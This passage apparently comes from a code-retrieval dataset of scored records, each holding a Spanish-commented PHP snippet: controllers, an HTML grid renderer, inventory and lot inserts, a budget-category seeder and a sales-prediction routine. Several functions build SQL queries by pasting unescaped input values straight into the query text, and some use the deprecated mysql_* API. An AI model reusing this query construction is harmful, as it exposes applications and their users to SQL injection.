$command->queryAll();\n\t\t//se formatea para que lo reconozca el select\n\t\tforeach($result as $key){\n\t\t\t$distribuciones[$key['id']]=$key['distribucion'];\n\t\t}\n\t\t\n\t\t/**\n\t\t* Llenar select indicadores de desempeño\n\t\t*/\n\t\t$command = $connection->createCommand(\"SELECT id, descripcion\n\t\t\t\t\t\t\t\t\t\t\t\tFROM public.indicador_desempeno\n\t\t\t\t\t\t\t\t\t\t\t\tWHERE estado = 1\");\n\t\t$result = $command->queryAll();\n\t\t//se formatea para que lo reconozca el select\n\t\tforeach($result as $key){\n\t\t\t$indicadores[$key['id']]=$key['descripcion'];\n\t\t}\n\t\t\n\t\t\n\t\tif ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n\t\t\t'distribuciones' => $distribuciones,\n\t\t\t'indicadores'=>$indicadores,\n\t\t\t'estados'=>$estados,\n ]);\n }", "title": "" }, { "docid": "e6f9d9fd572e118b0bf3b77d02a16c99", "score": "0.51336575", "text": "private function mostrarMatriz(){\n echo '<table border=\"1\">';\n for($i = 1; $i <= $this->filas; $i++ ){\n echo '<tr>';\n for($j = 1; $j <= $this->columnas; $j++ ){\n echo '<td>';\n echo '<p>'.round($this->matriz[$i][$j], 2).'</p>';\n echo '</td>';\n }\n echo '</tr>';\n }\n echo '</table>';\n echo '<style>table{margin-bottom:10px;} table tr td {width:20px;}</style>';\n }", "title": "" }, { "docid": "9dcdcaa1ce20846af0478933be2ee028", "score": "0.51279557", "text": "public function create()\n {\n return view('matrix.creatematsoldering');\n }", "title": "" }, { "docid": "f26727659af536a6f06b1c954a6dfa8c", "score": "0.5119952", "text": "function cargar($query,$campos=false,$result=false){\n\n \n if($result==false)$this->query($query); //llamando las funciones de la clase database heredada\n $this->campos = $this->campos_query($this->result);\n if(isset($this->orden))$orden = $this->campos; ////vector para ordenar columnas\n $registros = 0; ///////////////contador para los registros\n $tamvardb = count($this->campos);\n ////////// para ocultar columnas\n if(isset($this->features['oculto'])) $ocultos = explode(',',$this->features['oculto']);\n\n ////////// para FORMATEAR FECHAS\n if(isset($this->features['dateformat'])) $fformat = explode(',',$this->features['dateformat'][\"pos\"]);\n\n\n /////si no se encuentran registros\n if ($this->nreg == 0){\n\n echo \"<b>{$this->features['no_registers']}</b>\";\n }else{\n\n\n if($campos)$this->validar_head($campos); ///campos de cabecera\n\n /////////////////vinculos independientes de los valores del grid (hasta ahora solo 2 permitidos)\n //////////////////////////////////////////// feature nuevo vinculo 1\n if(isset($this->features['nuevo_vinculo1'])) $this->campos[count($this->campos)] = $this->features['nuevo_vinculo1']['nombre']; ///colocando la posicion del campo\n //////////////////////////////////////////// feature nuevo vinculo 2\n if(isset($this->features['nuevo_vinculo2'])) $this->campos[count($this->campos)] = $this->features['nuevo_vinculo2']['nombre']; ///colocando la posicion del campo\n ////////////////////////////////////////////////////////////////////////////////////\n\n\n echo '<table width=\"'.$this->ancho.'\" height=\"'.$this->largo.'\" align=\"'.$this->align.'\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">'; ////tabla principal\n\n ////////////////// si se desea mostrar el numero de registros conseguidos\n\n if(isset($this->features['mostrar_nresult'])){\n\n echo '<tr>';\n\n echo '<td class=\"'.$this->features['mostrar_nresult']['style'].'\" align=\"'.$this->features['mostrar_nresult']['align'].'\">'.$this->features['mostrar_nresult']['nombre'].': '.$this->nreg.'</td>';\n\n echo '</tr>';\n\n }\n\n echo '<tr><td>';\n\n if(isset($this->features['borde'])){\n\n echo '<table class=\"'.$this->features['borde']['style'].'\" width=\"100%\" height=\"100%\" cellpadding=\"0\" cellspacing=\"0\">\n <tr><td align=\"center\">';\n\n }\n\n\n ///armando grid\n\n echo '<table width=\"100%\" height=\"100%\" class=\"\" border=\"0\" cellspacing=\"'.$this->features['borde']['cellspacing'].'\" cellpadding=\"'.$this->features['borde']['cellpadding'].'\">';\n\n while($tmp = mysql_fetch_row($this->result)){\n\n echo '<tr>'; //////////////////inicio fila de datos\n\n\n if(!is_float($registros/$this->features['r_header']) && $registros/$this->features['r_header'] >=0 ){ ///condicion para desplegar el header\n\n\n ///////////////////////////////////////////////// header\n \n\n for($i=0;$i<count($this->campos);$i++){\n\n if(@in_array($i,$ocultos) && isset($this->features['oculto'])){ echo ' <!-- '; $OCU = 1; } ///ocultando si asi se desea\n\n if($orden[$i]!=\"\"){\n\n echo '<td class=\"'.$this->features['style_head'].'\" width= \"'.$this->features['separacion'][$i].'\" align=\"center\"><a href=\"'.$PHP_SELF.'?'.$this->features['orden']['nombre'].'='.$orden[$i].$this->features['orden']['extras'].'\" title=\"'.LANG_orderby.$this->campos[$i].'\">'.$this->campos[$i].'</a></td>'; //encabezado\n\n }else{\n\n echo '<td align=\"center\">'.$this->campos[$i].'</td>';\n }\n\n if($OCU==1){ echo ' --> '; $OCU = 0; } ////ocultando\n\n }\n\n echo '</tr>';\n \n\n ////////////////////////////////////////////////\n \n\n } ///////////////// si se despliega el header\n\n \n\n ////////////////////////////////////////mostrando la data de la base de datos\n for($ii=0;$ii<$tamvardb;$ii++){\n\n\n if($tmp[$ii]!=''){\n\n\n if($this->features['formato']!=\"html\") $valor = strip_tags(trim(stripslashes($tmp[$ii]))); else $valor = trim(stripslashes($tmp[$ii]));\n if($tmp[$ii]==$this->features['nulo']) $valor = \"{$this->features['celda_vacia']}\"; /// en caso de que se desee hacer nulo algun valor\n if(isset($this->features['conenlace']['popup'])) $popup = \" onclick=\\\" return popup2(this,'\".$this->features['conenlace']['popup'].\"');\\\"\"; else $popup = '';\n if(isset($this->features['conenlace']) && $this->features['conenlace']['pos']==$ii){ $enlace = '<a href=\"'.$this->features['conenlace']['url'].$this->features['conenlace']['var_parametro'].'='.$tmp[$this->features['conenlace']['parametro']].$this->features['conenlace']['extras'].'\" target=\"'.$this->features['conenlace']['target'].'\" title=\"'.$this->features['conenlace']['title'].'\"'.$popup.'\">'; $enlace2 = '</a>'; }else{ $enlace = ''; $enlace2 = ''; }\n\n\n\n }else{\n\n $valor = \"{$this->features['celda_vacia']}\";\n\n }\n\n\n\n if(@in_array($ii,$ocultos) && isset($this->features['oculto'])){ echo ' <!-- '; $OCU = 1; } ///ocultando si asi se desea\n\n\n if(!isset( $this->features['abreviar'][$ii])){ //// en caso de abreviacion de clumnas\n \n\t\t\t/////////////FORMATEAR FECHAS\n if(@in_array($ii,$fformat) && isset($this->features['dateformat'])) $valor = $this->datetime($valor,$this->features['dateformat'][\"formato\"]);\n\n\t\t\t echo '<td class=\"'.$this->features['style_body'].'\" align=\"'.$this->features['alineacion'][$ii].'\">'.$enlace.$valor.$enlace2.'</td>';\n \n }else{\n\n if(strlen($valor)>$this->features['abreviar'][$ii]) $valor = substr($tmp[$ii], 0, $this->features['abreviar'][$ii]).'...';\n echo '<td title=\"'.strip_tags($tmp[$ii]).'\" class=\"'.$this->features['style_body'].'\" align=\"'.$this->features['alineacion'][$ii].'\">'.$enlace.$valor.$enlace2.'</td>';\n\n }\n\n if($OCU==1){ echo ' --> '; $OCU = 0; } ////ocultando\n\n\n\n }\n\n\n\n\n\n ///////////////////////////////////////mostrando la data del nuevo vinculo 1\n if(isset($this->features['nuevo_vinculo1'])){\n echo '<td class=\"'.$this->features['style_body'].'\" align=\"center\">';\n\n\n if(!isset($this->features['nuevo_vinculo1']['condicion']) or $tmp[$this->features['nuevo_vinculo1']['condicion']] == 1) {\n\n if(isset($this->features['nuevo_vinculo1']['popup'])) $popup = \" onclick=\\\" return popup2(this,'\".$this->features['nuevo_vinculo1']['popup'].\"');\\\"\"; else $popup = '';\n echo '<a href=\"'.$this->features['nuevo_vinculo1']['url'].$this->features['nuevo_vinculo1']['var_parametro'].'='.$tmp[$this->features['nuevo_vinculo1']['parametro']].$this->features['nuevo_vinculo1']['extras'].'\" target=\"'.$this->features['nuevo_vinculo1']['target'].'\" title=\"'.$this->features['nuevo_vinculo1']['title'].'\"'.$popup.'\">'.$this->features['nuevo_vinculo1']['texto'].'</a>';\n\n }else if(isset($this->features['nuevo_vinculo1']['condicion']) && $tmp[$this->features['nuevo_vinculo1']['condicion']] == 0) { ///no se cumple la condicion\n\n echo $this->features['nuevo_vinculo1']['texto_condicion'];\n\n }\n\n\n echo '</td>';\n\n } //////////////// fin mostrando la data del nuevo vinculo 2\n\n\n ///////////////////////////////////////mostrando la data del nuevo vinculo 2\n if(isset($this->features['nuevo_vinculo2'])){\n echo '<td class=\"'.$this->features['style_body'].'\" align=\"center\">';\n\n\n if(isset($this->features['nuevo_vinculo2']['popup'])) $popup = \" onclick=\\\" return popup2(this,'\".$this->features['nuevo_vinculo2']['popup'].\"');\\\"\"; else $popup = '';\n if(isset($this->features['nuevo_vinculo2']['borrar'])) $popup = \" onclick=\\\" return borrar('\".$tmp[$this->features['nuevo_vinculo2']['parametro']].\"','\".$tmp[$this->features['nuevo_vinculo2']['borrar']].\"');\\\"\"; else $popup = ''; //// para borrar un registro del grid experimental\n echo '<a href=\"'.$this->features['nuevo_vinculo2']['url'].$this->features['nuevo_vinculo2']['var_parametro'].'='.$tmp[$this->features['nuevo_vinculo2']['parametro']].$this->features['nuevo_vinculo2']['extras'].'\" target=\"'.$this->features['nuevo_vinculo2']['target'].'\" title=\"'.$this->features['nuevo_vinculo2']['title'].'\"'.$popup.'\">'.$this->features['nuevo_vinculo2']['texto'].'</a>';\n\n\n echo '</td>';\n\n } //////////////// fin mostrando la data del nuevo vinculo 2\n\n\n\n\n echo '</tr>'; ///////////////////////fin fila de datos\n\n $registros++; ///incrementando contador\n\n /////////////////////////opera si se desea obtener totalizado\n if(isset($this->features['totalizado'])) $this->totalizado+= $tmp[$this->features['totalizado']];\n\n\n } ///////////////////// fin while\n\n\n\n echo '</table>';\n\n\n if(isset($this->features['borde'])){\n\n echo '</td></tr></table>';\n\n }\n\n\n } //si no se encuentran registros\n\n echo '</td></tr>';\n echo '</table>'; ////tabla principal\n $this->liberar();\n\n }", "title": "" }, { "docid": "3a122ae70f00aa2a81f5e3e147b0fb7b", "score": "0.5117486", "text": "function addItemRetiroAlistamiento($arregloDatos) {\n //si no existe un levante se deja como levante el id del movimiento esto permite borrar movimientos con varios registros \n if(empty($arregloDatos[num_levante])) {\n $arregloDatos[num_levante] = $arregloDatos[id_levante];\n }\n\n switch($arregloDatos[tipo_retiro_filtro]) {\n case 1: // Mercancia Nacional\n\n $arregloDatos[peso_nonaci_para] = 0;\n $arregloDatos[cantidad_nonaci_para] = 0;\n $arregloDatos[fob_nonaci_para] = 0;\n break;\n case 2: // Reexportación\n break;\n\t \n }\n\tif($arregloDatos[tipo_movimiento]==17){\n\t\t//$arregloDatos[peso_naci_para]=$arregloDatos[peso_naci_para]/1*-1;\n\t\t//$arregloDatos[peso_nonaci_para]=$arregloDatos[peso_nonaci_para]/1*-1;\n\t\t//$arregloDatos[cantidad_naci_para]=$arregloDatos[cantidad_naci_para]/1*-1;\n\t\t//$arregloDatos[cantidad_nonaci_para]=$arregloDatos[cantidad_nonaci_para]/1*-1;\n\t\t//$arregloDatos[fob_ret]=$arregloDatos[fob_ret]/1*-1;\n\t}\n //Captura automática de fecha y hora \n $fecha = new DateTime();\n $fecha = $fecha->format('Y-m-d H:i');\n\t\n\t// el retiro debe tener el mismo agrupamiento\n\t$unaConsulta= new Levante();\n\t$sql=\"SELECT MIN(estado_mcia) as estado_mcia FROM inventario_movimientos WHERE inventario_entrada=$arregloDatos[id_item] AND tipo_movimiento=16 AND estado_mcia NOT IN(0,1) \";\n\n\t$unaConsulta->query($sql);\n\t$unaConsulta->fetch();\n\t$arregloDatos[estado_mcia]=$unaConsulta->estado_mcia;\n $sql = \"INSERT INTO inventario_movimientos\n (fecha,inventario_entrada,tipo_movimiento,peso_naci,peso_nonac,cantidad_naci,cantidad_nonac,cif,fob_nonac,cod_maestro,num_levante,estado_mcia)\n VALUES('$fecha',$arregloDatos[id_item],$arregloDatos[tipo_movimiento],$arregloDatos[peso_naci_para],$arregloDatos[peso_nonaci_para],$arregloDatos[cantidad_naci_para],$arregloDatos[cantidad_nonaci_para],$arregloDatos[cif_ret],$arregloDatos[fob_ret] ,$arregloDatos[id_levante],'$arregloDatos[num_levante]','$arregloDatos[estado_mcia]')\";\n//echo $sql;\n $this->query($sql);\n if($this->_lastError) {\n $arregloDatos[mensaje] = \"error al retirar la mercancia \"; //$arregloDatos[mensaje] = \"error al retirar la mercancia \";//\n $arregloDatos[estilo] = $this->estilo_error;\n echo \"error\" . $sql;\n return TRUE;\n }\n $this->updateUltimoDo($arregloDatos);\n $arregloDatos[mensaje] = \"se retiro correctamente la mercancia \";\n $arregloDatos[estilo] = $this->estilo_ok;\n }", "title": "" }, { "docid": "f60e6d756cf8dcdaf52b99ca6b7ef029", "score": "0.51136374", "text": "public function run()\n {\n \n FUTExcedentesLiquidez::create(['abreviatura'=>'0','conceptoLiquidez'=>'FALTANTE']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E','conceptoLiquidez'=>'TOTAL']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.1','conceptoLiquidez'=>'RECURSOS LIBRE DESTINACIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.1.1','conceptoLiquidez'=>'SGP PROPÓSITO GENERAL RECURSOS DE LIBRE DESTINACIÓN 42% MUNICIPIOS DE 4, 5 Y 6 CATEGORÍA.']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.1.5','conceptoLiquidez'=>'INGRESOS CORRIENTES DE LIBRE DESTINACIÓN DIFERENTES A LA PARTICIPACIÓN DE LIBRE DESTINACIÓN PROPÓSITO GENERAL']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4','conceptoLiquidez'=>'RECURSOS CON DESTINACIÓN ESPECÍFICA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.1','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - EDUCACIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.11','conceptoLiquidez'=>'S.G.P. POR CRECIMIENTO DE LA ECONOMÍA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.11.1','conceptoLiquidez'=>'PRIMERA INFANCIA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.11.3','conceptoLiquidez'=>'EDUCACIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.13','conceptoLiquidez'=>'SISTEMA GENERAL FORZOSA INVERSIÓN DE PARTICIPACIÓN PROPÓSITO GENERAL']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.13.1','conceptoLiquidez'=>'DEPORTE Y RECREACIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.13.3','conceptoLiquidez'=>'CULTURA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.13.5','conceptoLiquidez'=>'LIBRE INVERSIÓN MENORES DE 25000 HABITANTES']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.13.7','conceptoLiquidez'=>'RESTO LIBRE INVERSIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.3','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - SALUD']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.3.1','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - SALUD: RÉGIMEN SUBSIDIADO']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.3.3','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - SALUD: PÚBLICA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.3.5','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - SALUD: SERVICIOS A LA POBLACIÓN POBRE NO AFILIADA']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.5','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - ALIMENTACIÓN ESCOLAR']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.7','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - RIBEREÑOS']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.9','conceptoLiquidez'=>'RECURSOS SGP CON DESTINACIÓN ESPECIFICA - AGUA POTABLE Y SANEAMIENTO BÁSICO']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.9.1','conceptoLiquidez'=>'PERTENECIENTES A LA ENTDIAD TERRITORIAL']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.1.9.2','conceptoLiquidez'=>'DE MUNICIPIOS DESCERTIFICADOS']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3','conceptoLiquidez'=>'OTROS RECURSOS DE DESTINACIÓN ESPECÍFICA DIFERENTES AL SGP']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.1','conceptoLiquidez'=>'REGALÍAS Y COMPENSACIONES (RÉGIMEN ANTERIOR DE REGALÍAS LEY 141/94 Y 756/02)']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.1.1','conceptoLiquidez'=>'REGALÍAS DIRECTAS']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.1.3','conceptoLiquidez'=>'REGALÍAS INDIRECTAS (RÉGIMEN ANTERIOR DE REGALÍAS LEY 141/94 Y 756/02)']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.3','conceptoLiquidez'=>'RECURSOS DE CONVENIOS Y/O COFINANCIACIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.5','conceptoLiquidez'=>'RECURSOS DEL CRÉDITO']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.6','conceptoLiquidez'=>'OTROS RECURSOS DIFERENTES A LOS ANTERIORES']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.6.1','conceptoLiquidez'=>'CON DESTINACIÓN SECTOR EDUCACIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.6.3','conceptoLiquidez'=>'CON DESTINACIÓN SECTOR SALUD']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.6.5','conceptoLiquidez'=>'CON DESTINACIÓN SECTOR AGUA POTABLE Y SANEAMIENTO BÁSICO']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.6.6','conceptoLiquidez'=>'RECAUDOS A FAVOR DE TERCEROS']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'E.4.3.6.7','conceptoLiquidez'=>'CON DESTINACIÓN A OTROS SECTORES DE INVERSIÓN']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'FVAC','conceptoLiquidez'=>'SE REMITE INFORME VACÍO']);\n FUTExcedentesLiquidez::create(['abreviatura'=>'VAL','conceptoLiquidez'=>'CIFRAS DE CONTROL']);\n\n }", "title": "" }, { "docid": "0ac8dd8c28911a958f4a351f02effefc", "score": "0.5109019", "text": "function modificarSucursal(){\n\t\t$this->procedimiento='vef.ft_sucursal_ime';\n\t\t$this->transaccion='VF_SUC_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_sucursal','id_sucursal','int4');\n\t\t$this->setParametro('correo','correo','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('tiene_precios_x_sucursal','tiene_precios_x_sucursal','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('id_clasificaciones_para_formula','id_clasificaciones_para_formula','varchar');\n\t\t$this->setParametro('codigo','codigo','varchar');\n\t\t$this->setParametro('id_clasificaciones_para_venta','id_clasificaciones_para_venta','varchar');\n \n $this->setParametro('plantilla_documento_factura','plantilla_documento_factura','varchar');\n $this->setParametro('plantilla_documento_recibo','plantilla_documento_recibo','varchar');\n $this->setParametro('formato_comprobante','formato_comprobante','varchar');\n\t\t\n\t\t$this->setParametro('direccion','direccion','codigo_html');\n\t\t$this->setParametro('lugar','lugar','varchar');\n\t\t$this->setParametro('habilitar_comisiones','habilitar_comisiones','varchar');\n\t\t$this->setParametro('id_lugar','id_lugar','integer');\n\t\t$this->setParametro('tipo_interfaz','tipo_interfaz','text');\n\t\t\n\t\t$this->setParametro('id_depto','id_depto','integer');\n\t\t$this->setParametro('nombre_comprobante','nombre_comprobante','codigo_html');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "effafd39d9d82f6eb840725d68d2d414", "score": "0.51075447", "text": "function lote_agregar($Id_inventario_material, $Pedido, $Cantidad, $Date1)\r\n\t{\r\n\t\t\r\n\t\t//Realizamos la validacion para obtener la fecha en\r\n\t\t//el formato correcto para ingresarlo al sistema.\r\n\t\t$Fecha_ingreso = $this->fechas_m->fecha_ymd_dmy($Date1);\r\n\t\t\r\n\t\t//Declaramos la variable estado para saber en que estado se encuentra el material.\r\n\t\t$estado = '1';\r\n\t\t\r\n\t\t//Declaramos la consulta para determinar el estado del material.\r\n\t\t$Consulta = 'select * from inventario_lote where id_inventario_material = \"'.$Id_inventario_material.'\" and estado = \"1\"';\r\n\t\t//Realizamos la consulta.\r\n\t\t$Resultado = $this->db->query($Consulta);\r\n\t\t//Obtenemos el resultado en un array.\r\n\t\t$Resultado2 = $Resultado->result_array();\r\n\t\t$i = 0;\r\n\t\tforeach($Resultado2 as $Datos)\r\n\t\t{\r\n\t\t\t$i++;\r\n\t\t}\r\n\t\t//Si el estado es mayor que 1 se le asigna el numero 2.\r\n\t\tif($i > 0)\r\n\t\t{\r\n\t\t\t$estado = '2';\r\n\t\t}\r\n\t\t//Declaramos la consulta SQL, para ingresar el lote a su respectiva tabla.\r\n\t\t$Consulta = $sql = 'insert into inventario_lote values(\r\n\t\t\t\t\t\t\t\t\t\t\t\tNULL,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\"'.$Id_inventario_material.'\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\"'.$Pedido.'\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\"'.$Fecha_ingreso.'\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\"0000-00-00\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t\"'.$Cantidad.'\",\r\n\t\t\t\t\t\t\t\t\t\t\t\t'.$estado.')';\r\n\t\t//Realizamos la consulta.\r\n\t\t$Resultado = $this->db->query($Consulta);\r\n\t\t//Declaramos la consulta para poder determinar cuanto hay en existencia en este momento.\r\n\t\t$Consulta = 'select existencias from inventario_material where id_inventario_material = \"'.$Id_inventario_material.'\"';\r\n\t\t\r\n\t\t//Realizamos la consulta.\r\n\t\t$Resultado = $this->db->query($Consulta);\r\n\t\t//Obtenemos el resultado en un array.\r\n\t\t$Resultado2 = $Resultado->result_array();\r\n\t\t//Exploramos el array para obtener la informacion\r\n\t\t$Cantidad_anterior = \"\";\r\n\t\tforeach($Resultado2 as $Datos_cantidad)\r\n\t\t{\r\n\t\t\t//Obtenemos el total del material que hay hasta el momento.\r\n\t\t\t$Cantidad_anterior = $Datos_cantidad[\"existencias\"];\r\n\t\t}\r\n\t\t//Con la cantidad anterior podemos sumar la nueva cantidad.\r\n\t\t//Qu estamos ingresando.\r\n\t\t$Cantidad_total = $Cantidad_anterior + $Cantidad;\r\n\t\t\r\n\t\t//Declaramos la consulta para actualizar las existencias en la base de datos.\r\n\t\t$Consulta = 'update inventario_material set existencias = \"'.$Cantidad_total.'\" where id_inventario_material = \"'.$Id_inventario_material.'\"';\r\n\t\t//Realizamos la consulta.\r\n\t\t$Resultado = $this->db->query($Consulta);\r\n\t\t\t\r\n\t\treturn \"ok\";\r\n\t\t\r\n\t}", "title": "" }, { "docid": "bfce2a1ea912c632d54b22c36eb6d2fd", "score": "0.51063", "text": "static public function ctrMostrarPrediccion(){\n $marshaler = new Marshaler(); \n $regression = new LeastSquares(); \n $tableName = 'TiendaProyectoNoSQL';\n $datos = PrediccionModel::mdlMostrarDatosPrediccion($tableName);\n \n foreach ($datos['Items'] as $i) {\n $prediccion = $marshaler->unmarshalItem($i);\n $samples = $prediccion['id'];\n $targets = $prediccion['CantidadVentas'];\n\n $s[] = array($samples);\n $t[] = array($targets);\n }\n //echo is_array($s) ? 'Array' : 'No es un array';\n\n \n $regression->train($s, $t);\n $result = $regression->predict([2]);\n echo \"Prediccion = \" .round($result,2);\n }", "title": "" }, { "docid": "2515fdb12c36c419f4bb07c1a5df0fa3", "score": "0.50941217", "text": "public static function CtrAgregarmpl()\n {\n if (isset($_POST[\"idmateriaplan\"])) {\n \n $tabla = \"pertenece\";\n $datos = array(\n \"cod_mat\" => $_POST[\"nuevamateriapl\"],\n \"codpe\" => $_POST[\"idmateriaplan\"],\n );\n $respuesta = modeloplandeestudios::mdlagregarmateria($tabla, $datos);\n if ($respuesta === \"ok\") {\n echo '<script>\n swal({\n type: \"success\",\n title: \"MATERIA AGREGADA\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n\n }).then((result)=>{\n\n if(result.value){\n window.location = \"plandeestudios\";\n }\n });\n </script>';\n } else {\n echo '<script>\n\n swal({\n type: \"error\",\n title: \"¡MATERIA YA EXISTENTE EN EL PLAN O NO SE A PODIDO AGREGAR!\",\n showConfirmButton: true,\n confirmButtonText: \"Cerrar\",\n closeOnConfirm: false\n\n }).then((result)=>{\n if(result.value){\n window.location = \"plandeestudios\";\n }\n });\n </script>';\n }\n \n }\n }", "title": "" }, { "docid": "7b530a4f88f9424935c5adaf206d8209", "score": "0.50940853", "text": "public function __construct($m){\n $this->matriz = $m;\n $this->filas = count($m);\n $this->columnas = count($m['1']);\n }", "title": "" }, { "docid": "b6cc97dad0bd7cc93fadcc64557cf958", "score": "0.50717837", "text": "protected function processarValoresManuais() {\n\n foreach ($this->aLinhasConsistencia as $oLinha) {\n\n $aValoresColunasLinhas = $oLinha->oLinhaRelatorio->getValoresColunas(null, null,\n $this->getInstituicoes(),\n $this->iAnoUsu\n );\n foreach($aValoresColunasLinhas as $oValores) {\n foreach ($oValores->colunas as $oColuna) {\n $oLinha->{$oColuna->o115_nomecoluna} += $oColuna->o117_valor;\n }\n }\n }\n }", "title": "" }, { "docid": "ce32e6cfdc259b7ad853979cf2195019", "score": "0.50686723", "text": "function generec( $anomes = 0){\n\t\tif ( $anomes == 0 ) $anomes = $this->input->post('anomes');\n\t\tif ( $anomes <= 0 ) {\n\t\t\techo 'Error en la Fecha ('.$anomes.')';\n\t\t\treturn false;\n\t\t}\n\t\t$dbanomes = $this->db->escape($anomes);\n\n\t\t//Busca si ya se facturaron\n\t\t$mSQL = \"SELECT count(*) FROM edrec WHERE anomes=\".$dbanomes;\n\t\tif ( $this->datasis->dameval($mSQL) > 0 ){\n\t\t\techo \"Fecha ya facturada\";\n\t\t\treturn false;\n\t\t}\n\n\t\t$tasa = $this->datasis->traevalor('CONDOADM','COMISION DE GASTOS ADMINISTRATIVOS');\n\t\tif ($tasa == '') $tasa = 10;\n\n\t\t// Calculas las alicuotas por tipo\n\t\t$mSQL = \"\n\t\tSELECT aplicacion indice, sum(alicuota) valor FROM (\n\t\t\tSELECT a.aplicacion,\n\t\t\t\t(SELECT bb.alicuota FROM edalicuota bb WHERE a.id=bb.inmueble AND EXTRACT(YEAR_MONTH FROM bb.fecha)<=${dbanomes} ORDER BY bb.fecha DESC LIMIT 1 ) alicuota\n\t\t\tFROM edinmue a ) aa\n\t\tWHERE aa.aplicacion IS NOT NULL AND aa.aplicacion NOT IN ('CO','')\n\t\t\";\n\t\t$query = $this->db->query($mSQL);\n\n\t\t$malit = array();\n\t\t$malit['CO'] = 0;\n\t\tif ($query->num_rows() > 0){\n\t\t\tforeach ( $query->result() as $row ) {\n\t\t\t\t$malit[$row->indice] = $row->valor;\n\t\t\t\t$malit['CO'] = $malit['CO'] + $row->valor;\n\t\t\t}\n\t\t}\n\n\t\t// GRUPO DE GASTOS\n\t\t$GRUPO = array();\n\t\t$mSQL = \"SELECT grupo indice FROM grga\";\n\t\t$query = $this->db->query($mSQL);\n\t\tif ($query->num_rows() > 0) {\n\t\t\tforeach ( $query->result() as $row ){ $GRUPO[$row->indice] = 0; }\n\t\t}\n\t\t$GRUPOORG = $GRUPO;\n\n\t\t//Genera los recibos\n\t\t$mSQL = \"\n\t\t\tSELECT '000001' numero, CURDATE() fecha, CURDATE() + INTERVAL 5 DAY vence, cliente cod_cli, inmueble, total, alicuota, cuota, 'P' status, 'Recibo' observa, '321' usuario, CURDATE() estampa, CURTIME() hora, 0 transac, 0 id, grupo, area, depto\n\t\t\tFROM (\n\t\t\t\tSELECT d.id, a.aplicacion, d.codigo inmueble, b.codigo, b.descrip, sum(a.total) total, mm.alicuota, ROUND(mm.alicuota*sum(a.total)/100,2) cuota, e.cliente, e.nombre, a.detalle, f.descrip aplidesc, b.grupo, d.area, d.aplicacion depto\n\t\t\t\tFROM edgasto a\n\t\t\t\tJOIN mgas b ON a.partida = b.id\n\t\t\t\tJOIN edinmue d\n\t\t\t\tLEFT JOIN scli e ON IF(d.ocupante='' OR d.ocupante IS NULL, d.propietario,d.ocupante) = 